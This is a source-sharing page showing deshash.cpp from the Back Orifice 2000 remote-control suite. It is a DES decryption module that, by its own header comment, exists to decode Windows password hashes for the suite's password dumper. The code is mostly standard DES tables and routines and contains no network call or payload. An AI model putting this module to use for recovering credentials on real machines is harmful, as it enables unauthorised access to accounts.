开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
deshash.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：15k
源码类别：

远程控制编程

开发平台：

WINDOWS

deshash.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. /* 
  21.    Note on DES Hashing:
  22.    This module has been crippled such that it is NOT usable for encryption per
  23.    United States export ITAR regulations. This module only operates on hashes
  24.    for authentication, which are not regulated by ITAR.
  25.    Used ONLY for decoding the internal Windows password hashes in dumppw.cpp
  27.    Developer note: As this is not an encryption module, it is not coded to the 
  28.    standards of the CEncryptionEngine. It only uses CEncryptionEngine format
  29.    as a convenience.
  30. */
  31.    
  32. #include<windows.h>
  33. #include<stdio.h>
  34. #include<encryption.h>
  35. #include<config.h>
  37. // ---------- Tables defined in the Data Encryption Standard documents ----------------------------
  39. // Initial permutation IP
  40. static BYTE ip[] = {
  41. 58, 50, 42, 34, 26, 18, 10,  2,
  42.     60, 52, 44, 36, 28, 20, 12,  4,
  43.     62, 54, 46, 38, 30, 22, 14,  6,
  44.     64, 56, 48, 40, 32, 24, 16,  8,
  45.     57, 49, 41, 33, 25, 17,  9,  1,
  46.     59, 51, 43, 35, 27, 19, 11,  3,
  47.     61, 53, 45, 37, 29, 21, 13,  5,
  48.     63, 55, 47, 39, 31, 23, 15,  7
  49. };
  51. // Final permutation IP^-1
  52. static BYTE fp[] = {
  53. 40,  8, 48, 16, 56, 24, 64, 32,
  54.     39,  7, 47, 15, 55, 23, 63, 31,
  55.     38,  6, 46, 14, 54, 22, 62, 30,
  56.     37,  5, 45, 13, 53, 21, 61, 29,
  57.     36,  4, 44, 12, 52, 20, 60, 28,
  58.     35,  3, 43, 11, 51, 19, 59, 27,
  59.     34,  2, 42, 10, 50, 18, 58, 26,
  60.     33,  1, 41,  9, 49, 17, 57, 25
  61. };
  63. // permuted choice table (key)
  64. static BYTE pc1[] = {
  65. 57, 49, 41, 33, 25, 17,  9,
  66.  1, 58, 50, 42, 34, 26, 18,
  67.     10,  2, 59, 51, 43, 35, 27,
  68.     19, 11,  3, 60, 52, 44, 36,
  69.     63, 55, 47, 39, 31, 23, 15,
  70.  7, 62, 54, 46, 38, 30, 22,
  71.     14,  6, 61, 53, 45, 37, 29,
  72.     21, 13,  5, 28, 20, 12,  4
  73. };
  75. // number left rotations of pc1
  76. static BYTE totrot[] = {
  77. 1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28
  78. };
  80. // permuted choice key (table)
  81. static BYTE pc2[] = {
  82. 14, 17, 11, 24,  1,  5,
  83.  3, 28, 15,  6, 21, 10,
  84.     23, 19, 12,  4, 26,  8,
  85.     16,  7, 27, 20, 13,  2,
  86.     41, 52, 31, 37, 47, 55,
  87.     30, 40, 51, 45, 33, 48,
  88.     44, 49, 39, 56, 34, 53,
  89.     46, 42, 50, 36, 29, 32
  90. };
  92. // The s boxes
  93. static BYTE si[8][64] = {
  94. // S1
  95. {  14,  4, 13,  1,  2, 15, 11,  8,  3, 10,  6, 12,  5,  9,  0,  7,
  96. 0, 15,  7,  4, 14,  2, 13,  1, 10,  6, 12, 11,  9,  5,  3,  8,
  97. 4,  1, 14,  8, 13,  6,  2, 11, 15, 12,  9,  7,  3, 10,  5,  0,
  98.        15, 12,  8,  2,  4,  9,  1,  7,  5, 11,  3, 14, 10,  0,  6, 13 },
  100.     // S2
  101. {  15,  1,  8, 14,  6, 11,  3,  4,  9,  7,  2, 13, 12,  0,  5, 10,
  102. 3, 13,  4,  7, 15,  2,  8, 14, 12,  0,  1, 10,  6,  9, 11,  5,
  103. 0, 14,  7, 11, 10,  4, 13,  1,  5,  8, 12,  6,  9,  3,  2, 15,
  104.    13,  8, 10,  1,  3, 15,  4,  2, 11,  6,  7, 12,  0,  5, 14,  9 },
  106. // S3
  107. {  10,  0,  9, 14,  6,  3, 15,  5,  1, 13, 12,  7, 11,  4,  2,  8,
  108.    13,  7,  0,  9,  3,  4,  6, 10,  2,  8,  5, 14, 12, 11, 15,  1,
  109.    13,  6,  4,  9,  8, 15,  3,  0, 11,  1,  2, 12,  5, 10, 14,  7,
  110.     1, 10, 13,  0,  6,  9,  8,  7,  4, 15, 14,  3, 11,  5,  2, 12 },
  112. // S4
  113. {   7, 13, 14,  3,  0,  6,  9, 10,  1,  2,  8,  5, 11, 12,  4, 15,
  114.    13,  8, 11,  5,  6, 15,  0,  3,  4,  7,  2, 12,  1, 10, 14,  9,
  115.    10,  6,  9,  0, 12, 11,  7, 13, 15,  1,  3, 14,  5,  2,  8,  4,
  116.     3, 15,  0,  6, 10,  1, 13,  8,  9,  4,  5, 11, 12,  7,  2, 14 },
  118. // S5 
  119. {   2, 12,  4,  1,  7, 10, 11,  6,  8,  5,  3, 15, 13,  0, 14,  9,
  120.        14, 11,  2, 12,  4,  7, 13,  1,  5,  0, 15, 10,  3,  9,  8,  6,
  121.     4,  2,  1, 11, 10, 13,  7,  8, 15,  9, 12,  5,  6,  3,  0, 14,
  122.    11,  8, 12,  7,  1, 14,  2, 13,  6, 15,  0,  9, 10,  4,  5,  3 },
  124. // S6 
  125. {  12,  1, 10, 15,  9,  2,  6,  8,  0, 13,  3,  4, 14,  7,  5, 11,
  126.    10, 15,  4,  2,  7, 12,  9,  5,  6,  1, 13, 14,  0, 11,  3,  8,
  127.     9, 14, 15,  5,  2,  8, 12,  3,  7,  0,  4, 10,  1, 13, 11,  6,
  128.     4,  3,  2, 12,  9,  5, 15, 10, 11, 14,  1,  7,  6,  0,  8, 13 },
  130. // S7
  131. {   4, 11,  2, 14, 15,  0,  8, 13,  3, 12,  9,  7,  5, 10,  6,  1,
  132.    13,  0, 11,  7,  4,  9,  1, 10, 14,  3,  5, 12,  2, 15,  8,  6,
  133.     1,  4, 11, 13, 12,  3,  7, 14, 10, 15,  6,  8,  0,  5,  9,  2,
  134.     6, 11, 13,  8,  1,  4, 10,  7,  9,  5,  0, 15, 14,  2,  3, 12 },
  136. // S8
  137. {  13,  2,  8,  4,  6, 15, 11,  1, 10,  9,  3, 14,  5,  0, 12,  7,
  138.     1, 15, 13,  8, 10,  3,  7,  4, 12,  5,  6, 11,  0, 14,  9,  2,
  139.     7, 11,  4,  1,  9, 12, 14,  2,  0,  6, 10, 13, 15,  3,  5,  8,
  140.     2,  1, 14,  7,  4, 10,  8, 13, 15, 12,  9,  0,  3,  5,  6, 11 }
  141. };
  143. // 32-bit permutation function P used on the output of the S-boxes
  144. static BYTE p32i[] = {
  145. 16,  7, 20, 21,
  146.     29, 12, 28, 17,
  147.      1, 15, 23, 26,
  148.  5, 18, 31, 10,
  149.  2,  8, 24, 14,
  150.     32, 27,  3,  9,
  151.     19, 13, 30,  6,
  152.     22, 11,  4, 25
  153. };
  155. // ---- Global Variables ------------------------------------------------
  157. ENCRYPTION_ENGINE g_DESengine={NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL};
  159. DWORD sp[8][64];              // Combined S and P boxes
  160. BYTE iperm[16][16][8];       // Initial permutations
  161. BYTE fperm[16][16][8];       // Final permutations
  162. int bytebit[] = { 0200,0100,040,020,010,04,02,01 };
  163. int nibblebit[] = { 010,04,02,01 };
  165. // ---- Structures ------------------------------------------------------
  167. typedef struct {
  168. BYTE kn[16][8];     // 8 6-bit subkeys for each of 16 initialized by des_setkey()
  169. } DESHASH_DATA;
  171. // ---- Function Prototypes ---------------------------------------------
  173. int __cdecl DESHash_Insert(void);
  174. int __cdecl DESHash_Remove(void);
  175. char * __cdecl DESHash_Query(void);
  177. void * __cdecl DESHash_Startup(void);
  178. int __cdecl DESHash_Shutdown(void *pInternal);
  179. int __cdecl DESHash_SetEncryptKey(void *pInternal, char *svKey);
  180. int __cdecl DESHash_SetDecryptKey(void *pInternal, char *svKey);
  181. char * __cdecl DESHash_GetEncryptKey(void *pInternal);
  182. char * __cdecl DESHash_GetDecryptKey(void *pInternal);
  183. BYTE * __cdecl DESHash_Encrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen);
  184. BYTE * __cdecl DESHash_Decrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen);
  185. int __cdecl DESHash_CreateNewKeys(void *pInternal);
  186. void __cdecl DESHash_Free(void *pInternal, BYTE *pBuffer);
  188.  
  189. // ---- Function Declarations -------------------------------------------
  191. #ifndef  BIG_ENDIAN
  192. // Byte swap a long 
  193. DWORD byteswap(DWORD x)
  194. {
  195. char *cp,tmp;
  196. cp = (char *)&x;
  197. tmp = cp[3];
  198. cp[3] = cp[0];
  199. cp[0] = tmp;
  200. tmp = cp[2];
  201. cp[2] = cp[1];
  202. cp[1] = tmp;
  203. return x;
  204. }
  205. #endif
  207. // ---- initialize a perm array ----
  208. static void perminit(BYTE perm[16][16][8], BYTE p[64])
  209. {
  210. int i,j,k,l,m;
  212. // Clear the permutation array
  213. for (i=0; i<16; i++) {
  214. for (j=0; j<16; j++) {
  215. // Clear permutation
  216. for (k=0; k<8; k++) {
  217. perm[i][j][k]=0;
  218. }
  220. // each input nibble position
  221. for (i=0; i<16; i++) {
  222. // each possible input nibble
  223. for (j = 0; j < 16; j++) {
  224. // each output bit position
  225. for (k = 0; k < 64; k++) {
  226. // where does this bit come from
  227. l = p[k] - 1; 
  229. // does it come from input posn
  230. if ((l >> 2) != i) continue;     // if not, bit k is 0
  232. // any such bit in input?
  233. if (!(j & nibblebit[l & 3])) continue;     
  235. // which bit is this in the byte?
  236. m = k & 07;   
  237. perm[i][j][k>>3] |= (char)bytebit[m];
  238. }
  239. }
  240. }
  241. }
  242. }
  243. }
  245. // ---- Initialize the lookup table for the combined S and P boxes ----
  246. static void spinit()
  247. {
  248. BYTE pbox[32];
  249. int p,i,s,j,rowcol;
  250. DWORD val;
  252. // Compute pbox, the inverse of p32i.
  253. // This is easier to work with
  255. for(p=0;p<32;p++){
  256. for(i=0;i<32;i++){
  257. if(p32i[i]-1 == p){
  258. pbox[p] = (char)i;
  259. break;
  260. }
  261. }
  262. }
  264. // For each S-box
  265. for(s = 0; s < 8; s++) {  
  266. // For each possible input
  267. for(i=0; i<64; i++) {
  268. val = 0;
  270. // The row number is formed from the first and last
  271. // bits; the column number is from the middle 4
  273. rowcol = (i & 32) | ((i & 1) ? 16 : 0) | ((i >> 1) & 0xf);
  274. for(j=0;j<4;j++) {       // For each output bit
  275. if(si[s][rowcol] & (8 >> j)){
  276. val |= 1L << (31 - pbox[4*s + j]);
  277. }
  278. }
  279. sp[s][i] = val;
  280. }
  281. }
  282. }
  285. // permute: takes an input block, passes it through a permutation
  286. //          (if desmode == 0) and returns an output block
  287. void des_permute(BYTE *inblock, BYTE perm[16][16][8], BYTE *outblock)
  288. {
  289. int i,j;
  290. BYTE *ib,*ob,*p,*q;
  292. // Clear Output block
  293. memset(outblock, 0, 8*sizeof(BYTE));
  295. // Perform permutation
  296. ib = inblock;
  297. for (j = 0; j < 16; j += 2, ib++) { // for each input nibble
  298. ob = outblock;
  299. p = perm[j][(*ib >> 4) & 017];
  300. q = perm[j + 1][*ib & 017];
  301. for (i = 8; i != 0; i--){   // and each output byte 
  302. *ob++ |= *p++ | *q++;   // OR the masks together
  303. }
  304. }
  305. }
  307. // The nonlinear function f(r,k), the heart of DES
  308. static DWORD f(DWORD r, BYTE subkey[8])
  309. {
  310. DWORD rval,rt;
  312. // Run E(R) ^ K through the combined S & P boxes
  313. // This code takes advantage of a convenient regularity in
  314. // E, namely that each group of 6 bits in E(R) feeding
  315. // a single S-box is a contiguous segment of R.
  317. rt = (r >> 1) | ((r & 1) ? 0x80000000 : 0);
  318. rval = 0;
  319. rval |= sp[0][((rt >> 26) ^ *subkey++) & 0x3f];
  320. rval |= sp[1][((rt >> 22) ^ *subkey++) & 0x3f];
  321. rval |= sp[2][((rt >> 18) ^ *subkey++) & 0x3f];
  322. rval |= sp[3][((rt >> 14) ^ *subkey++) & 0x3f];
  323. rval |= sp[4][((rt >> 10) ^ *subkey++) & 0x3f];
  324. rval |= sp[5][((rt >> 6) ^ *subkey++) & 0x3f];
  325. rval |= sp[6][((rt >> 2) ^ *subkey++) & 0x3f];
  326. rt = (r << 1) | ((r & 0x80000000) ? 1 : 0);
  327. rval |= sp[7][(rt ^ *subkey) & 0x3f];
  329. return rval;
  330. }
  332. // round: Do one DES cipher round 
  333. void des_round(int num, DWORD *block, BYTE kn[16][8])
  334. {
  335. // The rounds are numbered from 0 to 15. On even rounds
  336. // the right half is fed to f() and the result exclusive-ORs
  337. // the left half; on odd rounds the reverse is done.
  339. if(num & 1)
  340. block[1] ^= f(block[0],kn[num]);
  341. else 
  342. block[0] ^= f(block[1],kn[num]);
  343. }
  345. // In-place decryption of 64-bit block 
  346. void des_dedes(BYTE *block, BYTE kn[16][8])
  347. {
  348. int i;
  349. DWORD work[2], tmp;
  351. // Initial permutation
  352. des_permute(block,iperm,(BYTE *)work);    
  353. #ifndef BIG_ENDIAN
  354. work[0] = byteswap(work[0]);
  355. work[1] = byteswap(work[1]);
  356. #endif
  358. // Left/right half swap
  359. tmp = work[0];
  360. work[0] = work[1];
  361. work[1] = tmp;
  363. // Do the 16 rounds in reverse order
  364. for (i=15; i >= 0; i--)
  365. des_round(i,work, kn);
  367. // Inverse initial permutation
  368. #ifndef BIG_ENDIAN
  369. work[0] = byteswap(work[0]);
  370. work[1] = byteswap(work[1]);
  371. #endif
  372. des_permute((BYTE *)work,fperm,block);    
  373. }
  375. // setkey:
  376. // initializes key schedule array
  377. // key is 64 bits (will use only 56)
  378. void des_setkey(BYTE *key, BYTE kn[16][8])
  379. {
  380. BYTE pc1m[56];              // place to modify pc1 into 
  381. BYTE pcr[56];               // place to rotate pc1 into 
  382. register int i,j,l,m;
  384. // Clear key schedule
  385. for (i=0; i<16; i++) {
  386. for (j=0; j<8; j++) {
  387. kn[i][j]=0;
  388. }
  389. }
  390.  
  391. // Convert pc1 to bits of key 
  392. for(j=0; j<56; j++) {  
  393. l=pc1[j]-1;                     // integer bit location  
  394. m = l & 07;                     // find bit              
  395. pc1m[j]= (char)((key[l>>3] &    // find which key byte l is in 
  396. bytebit[m])                 // and which bit of that byte 
  397. ? 1 : 0);                   // and store 1-bit result
  398. }
  400. // Key chunk for each iteration
  401.     for (i=0; i<16; i++) { 
  403. // Rotate pc1 the right amount
  404. for (j=0; j<56; j++)    
  405. pcr[j] = pc1m[(l=j+totrot[i])<(j<28? 28 : 56) ? l: l-28];
  407. // Rotate left and right halves independently
  408. for (j=0; j<48; j++) {   // select bits individually
  410. // check bit that goes to kn[j]
  411. if (pcr[pc2[j]-1]) {
  412. // mask it in if it's there
  413. l= j % 6;
  414. kn[i][j/6] |= (BYTE)(bytebit[l] >> 2);
  415. }
  416. }
  417. }
  419. }
  421. void des_str_to_key(BYTE *str, BYTE *key)
  422. {
  423. int i;
  424. key[0] = (str[0]>>1);
  425. key[1] = ((str[0]&0x01)<<6) | (str[1]>>2);
  426. key[2] = ((str[1]&0x03)<<5) | (str[2]>>3);
  427. key[3] = ((str[2]&0x07)<<4) | (str[3]>>4);
  428. key[4] = ((str[3]&0x0F)<<3) | (str[4]>>5);
  429. key[5] = ((str[4]&0x1F)<<2) | (str[5]>>6);
  430. key[6] = ((str[5]&0x3F)<<1) | (str[6]>>7);
  431. key[7] = (str[6]&0x7F);
  432. for (i=0;i<8;i++)
  433. key[i] = (BYTE)(key[i]<<1);
  434. }
  438. int __cdecl DESHash_Insert(void)
  439. {
  440. spinit();
  441. perminit(iperm, ip);
  442. perminit(fperm, fp);
  444. return 0;
  445. }
  447. int __cdecl DESHash_Remove(void)
  448. {
  451. return 0;
  452. }
  454. char * __cdecl DESHash_Query(void)
  455. {
  456. return "DES: BO2K DES Hash Manipulation";
  457. }
  460. void * __cdecl DESHash_Startup(void)
  461. {
  462. DESHASH_DATA *data;
  463. data=(DESHASH_DATA *)malloc(sizeof(DESHASH_DATA));
  464. if(data==NULL) return NULL;
  466. return data;
  467. }
  469. int __cdecl DESHash_Shutdown(void *pInternal)
  470. {
  471. DESHASH_DATA *data=(DESHASH_DATA *)pInternal;
  472. free(data);
  473. return 0;
  474. }
  476. int __cdecl DESHash_SetEncryptKey(void *pInternal, char *svKey)
  477. {
  478. return 0;
  479. }
  481. int __cdecl DESHash_SetDecryptKey(void *pInternal, char *svKey)
  482. {
  483. DESHASH_DATA *data=(DESHASH_DATA *)pInternal;
  484. BYTE key[8];
  486. des_str_to_key((BYTE *)svKey,key);
  487. des_setkey(key,data->kn);
  489. return 0;
  490. }
  492. char * __cdecl DESHash_GetEncryptKey(void *pInternal)
  493. {
  494. return NULL;
  495. }
  497. char * __cdecl DESHash_GetDecryptKey(void *pInternal)
  498. {
  499. return NULL;
  500. }
  502. BYTE * __cdecl DESHash_Encrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen)
  503. {
  504. *pnOutBufLen=0;
  505. return NULL;
  506. }
  508. BYTE * __cdecl DESHash_Decrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen)
  509. {
  510. DESHASH_DATA *data=(DESHASH_DATA *)pInternal;
  511. BYTE *buf;
  512. int nOutBufLen,i;
  514. if(nBufLen&7) nOutBufLen=(nBufLen&~7)+8;
  515. else nOutBufLen=nBufLen;
  517. buf=(BYTE *)malloc(nOutBufLen);
  518. if(buf==NULL) return NULL;
  520. memset(buf,0,nOutBufLen);
  521. memcpy(buf,pBuffer,nBufLen);
  523. for(i=0;i<nOutBufLen;i+=8) {
  524. des_dedes((BYTE *)buf+i,data->kn);
  525. }
  527. *pnOutBufLen=nOutBufLen;
  528. return buf;
  529. }
  531. int __cdecl DESHash_CreateNewKeys(void *pInternal)
  532. {
  533. return 0;
  534. }
  536. void __cdecl DESHash_Free(void *pInternal, BYTE *pBuffer)
  537. {
  538. DESHASH_DATA *data=(DESHASH_DATA *)pInternal;
  540. free(pBuffer);
  541. }
  545. ENCRYPTION_ENGINE *GetDESHashEngine(void)
  546. {
  547. g_DESengine.pInsert=DESHash_Insert;
  548. g_DESengine.pRemove=DESHash_Remove;
  549. g_DESengine.pQuery=DESHash_Query;
  551. g_DESengine.pStartup=DESHash_Startup;
  552. g_DESengine.pShutdown=DESHash_Shutdown;
  553. g_DESengine.pSetEncryptKey=DESHash_SetEncryptKey;
  554. g_DESengine.pSetDecryptKey=DESHash_SetDecryptKey;
  555. g_DESengine.pGetEncryptKey=DESHash_GetEncryptKey;
  556. g_DESengine.pGetDecryptKey=DESHash_GetDecryptKey;
  557. g_DESengine.pEncrypt=DESHash_Encrypt;
  558. g_DESengine.pDecrypt=DESHash_Decrypt;
  559. g_DESengine.pCreateNewKeys=DESHash_CreateNewKeys;
  560. g_DESengine.pFree=DESHash_Free;
  562. return &g_DESengine;
  563. }